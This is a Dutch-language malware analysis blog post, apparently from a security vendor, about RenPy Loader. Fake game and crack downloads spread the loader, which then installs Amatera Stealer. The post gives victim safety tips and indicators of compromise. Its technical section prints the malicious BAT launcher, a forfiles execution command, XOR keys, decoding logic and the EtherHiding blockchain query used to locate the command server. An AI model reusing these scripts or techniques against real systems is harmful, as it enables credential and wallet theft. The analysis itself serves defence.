We hebben verschillende campagnes ontdekt waarbij valse downloads van games, mods, cracks en software worden gebruikt om RenPy Loader te verspreiden. Zodra de loader is geïnstalleerd, zet deze een complexe, uit meerdere fasen bestaande infectieketen in gang, waarbij misbruik wordt gemaakt van MSBuild en de EtherHiding-techniek, om uiteindelijk Amatera Stealer te installeren.
Amatera is een infostealer – een soort malware die is ontworpen om gevoelige informatie van een geïnfecteerd apparaat te stelen. Het kan zich richten op wachtwoorden en andere gegevens die zijn opgeslagen in browsers, cryptovaluta-wallets, browserextensies, berichtenapps en lokale bestanden. Met gestolen inloggegevens en sessiegegevens kunnen aanvallers mogelijk ook toegang krijgen tot de online accounts van het slachtoffer.
Het slachtoffer ziet mogelijk iets wat eruitziet als een normaal spel of een installatieprogramma voor software, terwijl de malware onopgemerkt op de achtergrond draait.
RenPy Loader, ook wel bekend als RenEngine Loader, is bijzonder interessant omdat het misbruik maakt van Ren’Py, een legitieme engine die wordt gebruikt voor het maken van visuele romans, verhaalgedreven games en interactieve fictie. Door kwaadaardige code te verbergen in software die met gaming wordt geassocieerd, kunnen aanvallers hun downloads geloofwaardiger laten lijken voor mensen die op zoek zijn naar games, mods of gekraakte software.
We hebben eerder gezien dat aanvallers legitieme ontwikkeltools en opkomende softwareframeworks, waaronder Bun en Deno, misbruiken om malware te verspreiden. RenPy Loader volgt hetzelfde patroon: aanvallers maken misbruik van legitieme technologie om kwaadaardige activiteiten te verhullen, de infectieketen ingewikkelder te maken en detectie te bemoeilijken.
Er is ook vastgesteld dat RenPy Loader andere malware verspreidt, waaronder HijackLoader en Lumma Stealer, waaruit blijkt dat de uiteindelijke payload per campagne kan verschillen.
In deze blog analyseren we een infectieketen waarin Ren’Py een ZIP-archief ontcijfert dat een BAT-bestand en verschillende MSBuild-projectbestanden bevat. Deze bestanden laden een met een trojan geïnfecteerde .NET-component, die vervolgens een andere schadelijke component decodeert.
Dat kwaadaardige onderdeel maakt gebruik van een techniek die ‘EtherHiding’ wordt genoemd om zijn command-and-control-server (C2) te lokaliseren. In plaats van het C2-adres rechtstreeks in de malware op te slaan, verbergen de aanvallers het in gegevens die op een openbare blockchain zijn opgeslagen. De malware downloadt vervolgens de volgende fasen van de aanval vanaf die server, waardoor de infrastructuur van de aanvallers moeilijker te identificeren en te verstoren is.
Tot slot onderzoeken we de aanvullende payloads die uiteindelijk Amatera Stealer ontsleutelen en uitvoeren.
Valse downloads infecteren je apparaat
De infectie begint wanneer iemand een zogenaamd spel, een mod, een crack of een stukje software downloadt. We hebben vastgesteld dat schadelijke bestanden worden verspreid via:
- Kwaadaardige websites
- Portalen voor het downloaden van games
- Verschillende diensten voor het delen van bestanden, waaronder Wormhole, GoFile, Google Drive en MEGA
Hieronder volgen enkele van de gedetecteerde pagina’s waarmee de infectieketen begint:
In verschillende gevallen werd de gebruiker bij het klikken op een downloadlink doorgestuurd naar een andere valse downloadwebsite. Deze pagina’s hadden verschillende ontwerpen en verzonnen servicenamen, waardoor de campagnes minder eentonig leken en de kwaadaardige infrastructuur moeilijker te herkennen was.
Hieronder staan voorbeelden van valse downloadpagina’s die worden gebruikt om het schadelijke archief te verspreiden:
De gebruiker downloadt een archief met daarin een bestand met de naam Setup.exe. Zodra dit bestand wordt geopend, wordt de infectieketen in gang gezet.


Het slachtoffer ziet een laad- of installatiescherm, maar op de achtergrond wordt schadelijke code uitgevoerd.

Hoe blijf ik veilig
Met een paar voorzorgsmaatregelen kun je het risico op het downloaden van schadelijke games of software verminderen:
- Download games en software van officiële websites, betrouwbare app-winkels of gerenommeerde distributieplatforms.
- Wees voorzichtig met gekraakte software, onofficiële mods en gratis versies van betaalde games.
- Wees op je hoede wanneer een downloadlink je via verschillende onbekende websites of diensten voor het delen van bestanden omleidt.
- Controleer de inhoud van gedownloade archieven voordat je uitvoerbare bestanden opent, zoals
Setup.exe. - Let op ongebruikelijke bestandsnamen, afbeeldingen of tekstbestanden die niets met het onderwerp te maken hebben, en inhoud die niet overeenkomt met wat je eigenlijk wilde downloaden.
- Gebruik realtime anti-malwaresoftware zoals Malwarebytes.
- Zorg ervoor dat uw besturingssysteem, browser en beveiligingssoftware up-to-date zijn.
De mensen achter deze campagnes maken voortdurend nieuwe websites aan en passen hun downloadpagina’s aan. Een professioneel ogend installatieprogramma of een bekende dienst voor het delen van bestanden is geen garantie dat een download veilig is.
Technische analyse van de RenPy-loader
Ren’Py is een gratis, open-source-engine voor het maken van visuele romans, verhaalgedreven games en interactieve fictie. Ren’Py maakt het mogelijk om Python-scripts te integreren, wat aanvallers misbruiken om kwaadaardige code in te voegen.
In dit geval hebben we schadelijke code aangetroffen in de volgende bestanden en paden:
|
Pad |
Beschrijving |
|---|---|
|
|
Anti-sandbox-klassen |
|
|
Lader |
|
|
XOR-versleutelde configuratie |
|
|
Met XOR versleutelde ZIP-bestand |
De eerste-trapsraket, afkomstig uit libwin32.rpa voert de volgende bewerkingen uit:
- Leest het configuratiebestand
data/.GEgen decodeert deze met behulp van Base64-decodering en XOR met de sleutel81034149cd6f48c8821340204f92766e. Dit configuratiebestand bevat het wachtwoord dat wordt gebruikt om het ZIP-bestand uit te pakken, evenals andere configuratiegegevens die door de loader worden gebruikt. - Oproepen
sys_config.is_sandboxed()en wordt afgesloten als er een sandbox wordt gedetecteerd. - XOR-ontcijferingen
data/j3lpTcg7kBRN.E3met behulp van de sleutelA50YyY1om het ZIP-bestand te downloaden. - Pakt de inhoud van het ZIP-bestand uit naar een willekeurige map onder
%TEMP%/tmp-{5 digits}-{12 characters}en schrijft een:Zone.Identifieralternatieve gegevensstroom (ADS) metZoneId=0om het Web-merk te verwijderen en SmartScreen te omzeilen. Het voegt ook een willekeurigeREMstring in het uitgepakte BAT-bestand. - Lanceert de lading met behulp van
forfiles.exe. - Verzendt het MAC en de campagne-ID van de machine naar een trackingwebsite.


In dit geval werd het uitgepakte BAT-bestand met de volgende opdracht uitgevoerd:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Inhoud van het BAT-bestand:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
Het uitgevoerde BAT-bestand voert de volgende bewerkingen uit:
- Start zichzelf opnieuw op in een verborgen of headless console:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Schakelt MSBuild-eigenschapfuncties in, waardoor extra methoden beschikbaar komen, zoals
AppDomain.CurrentDomain.Loaduit te voeren:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Voert uit
MSBuild.exemetNancy.csprojals projectbestand. Tijdens de projectevaluatie voert een kwaadaardige MSBuild-eigenschapfunctie een hexadecimale decodering uit en laadt vervolgens op reflectieve wijze de volgende DLL-fase.
De met een trojan geïnfecteerde Nancy DLL en de aangepaste bytecode
Nancy.csproj laadt de drie uitgepakte bestanden in Nancy.csproj.user, Internal.props, en Nancy.Compile.targets. De schadelijke DLL is verdeeld over drie waarden die in deze bestanden zijn opgeslagen.

Nancy.csprojNancy.Compile.targets voegt de drie waarden samen om de DLL hexadecimaal te decoderen en de DefaultEvaluator5 methode met behulp van AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5Het interessante is dat Nancy.csproj heeft twee doelen: het is het MSBuild-project dat wordt gebruikt om de loader van de eerste fase uit te voeren, en het bevat tevens de volgende fase die door de loader wordt gedecodeerd.
De DLL is een met een trojan geïnfecteerde versie van de Nancy .NET-bibliotheek en is een versleutelde .NET-loader waarin schadelijke code is geïmplementeerd in de DefaultEvaluator5 class. Een deel van de functionaliteit van de DLL is geïmplementeerd in aangepaste bytecode die door deze main-methode wordt uitgevoerd.

De DLL voert de volgende bewerkingen uit:
- Ontcijfert tekenreeksen uit bronbestanden met behulp van XOR-ontcijfering met meerdere sleutels.
- Vindt API’s op basis van API-hashing en
GetDelegateForFunctionPointer. - Wijzigt de netwerkinstellingen, waaronder het uitschakelen van de validatie van TLS-certificaten en het instellen van de standaardproxy van het systeem.
- Voert anti-forensische handelingen uit.
- Leest de
_czzfomgevingsvariabele, die verwijst naar de vorigeNancy.csprojbestand, decodeert het vervolgens en voert het uit.
Het belangrijkste DefaultEvaluator5 Deze methode haalt tekenreeksen op en interpreteert de bytecode die in de volgende bronnen is opgenomen:
Nancy.Runtime.mvlorimu: Bevat de aangepaste bytecode. De bytecode wordt geïnterpreteerd door_pven_sro. Het implementeert 23 opcodes die worden gebruikt om andere tekenreeksen te ontsleutelen en de DLL voor de volgende fase te laden.Nancy.Data.tcnlhxwenNancy.Resources.kxxodp: Bevat de versleutelde tekenreeksen en andere gegevens die voor het ontsleutelen worden gebruikt, waaronder sleutels, lengtes, indexen en de S-box.
De strings worden met behulp van het volgende algoritme gedecodeerd:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
De volgende DLL-fase, GollopDevest, wordt gedecodeerd vanuit dezelfde Nancy.csproj bestand op basis van de volgende logica en geladen met AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack markeringenEtherHiding en Amatera Stealer
De volgende uitgeleste fase is een DLL met de naam GollopDevest.dll, een .NET-downloader die gebruikmaakt van de EtherHiding-techniek om verbinding te maken met zijn command-and-control-server (C2) en de volgende fase te downloaden.
Het versleutelde C2-domein wordt verkregen via een Ethereum JSON-RPC eth_call verzoek aan bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Deze EtherHiding-downloader maakt waarschijnlijk deel uit van een ‘malware-as-a-service’ (MaaS)-operatie, aangezien we hebben vastgesteld dat deze ook in andere campagnes wordt verspreid, waaronder ClickFix-campagnes.
Vervolgens worden er nog drie payloads gedownload: twee .NET-DLL’s met de naam PavinWide (een anti-analyse-DLL) en GollopDevest (een loader-DLL) en een C++-DLL met de naam LanoseThrip, waardoor uiteindelijk Amatera Stealer wordt gedecodeerd en geladen.
In dit geval zijn deze payloads gedownload van:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
De .NET-DLL’s zijn sterk versleuteld door middel van het afvlakken van de controlestroom en indirecte aanroepen via calli/ldftn, tekenreeksversleuteling met verschillende algoritmen, onnodige code, dode code en nep-tekenreeksen zoals URL-paden.
De analyse van deze DLL’s is nog gaande en zal in de volgende blogberichten nader worden belicht.
Indicatoren van compromissen (IOC's)
Domeinen
downpro[.]net– Nep-downloadwebsitemacisofile[.]sbs– Nep-downloadwebsitevisitmama[.]blog– Nep-downloadwebsitevisitmama[.]guru– Nep-downloadwebsitegetgamerfree[.]com– Nep-downloadwebsitefullgames[.]digital– Nep-downloadwebsiteflingbase[.]net– Nep-downloadwebsitecitronemu[.]com– Nep-downloadwebsitefilemodo[.]xyz– Distributie-infrastructuurstorage06x[.]cfd– Distributie-infrastructuurp03sil[.]cyou– Distributie-infrastructuurwimsedas[.]xyz– Distributie-infrastructuuragainstmor[.]store– Distributie-infrastructuurhost03q[.]cfd– Distributie-infrastructuurcloud01y[.]cfd– Distributie-infrastructuurstorage11x[.]cfd– Distributie-infrastructuurstorage04x[.]cfd– Distributie-infrastructuurhost82p[.]cfd– Distributie-infrastructuurcloud05y[.]cfd– Distributie-infrastructuuranalyticstrack-pzh[.]click– Website voor het bijhouden van gegevenslogin.orbitalframework[.]cc– Amatera Stealer C2
IP-adressen
144.124.251[.]171– Wordt gebruikt om extra lading te verkrijgen195.63.140[.]33– Wordt gebruikt om extra lading te verkrijgen78.40.196[.]252– Wordt gebruikt om extra lading te verkrijgen
Bestands-hashes (MD5)
29203ca123d51b1b33505a0813d360df– Loader voor de eerste fase (met een Trojaans paard geïnfecteerde DLL)810F257542018BE0FC62AF542D13D012– GollopDevest DLL (downloader-DLL)681DB529E402467A4B0567C82A350FC0– PavinWride DLL (DLL ter voorkoming van analyse)2E116632248A7E1F8AA6BCA92D9C1C90– GollopDevest DLL (laad-DLL)F8453EFE408CE25B9484F872797E3D63– Definitieve lading
“Een van de beste cyberbeveiligingspakketten ter wereld.”
Volgens CNET.Lees hun recensie →






















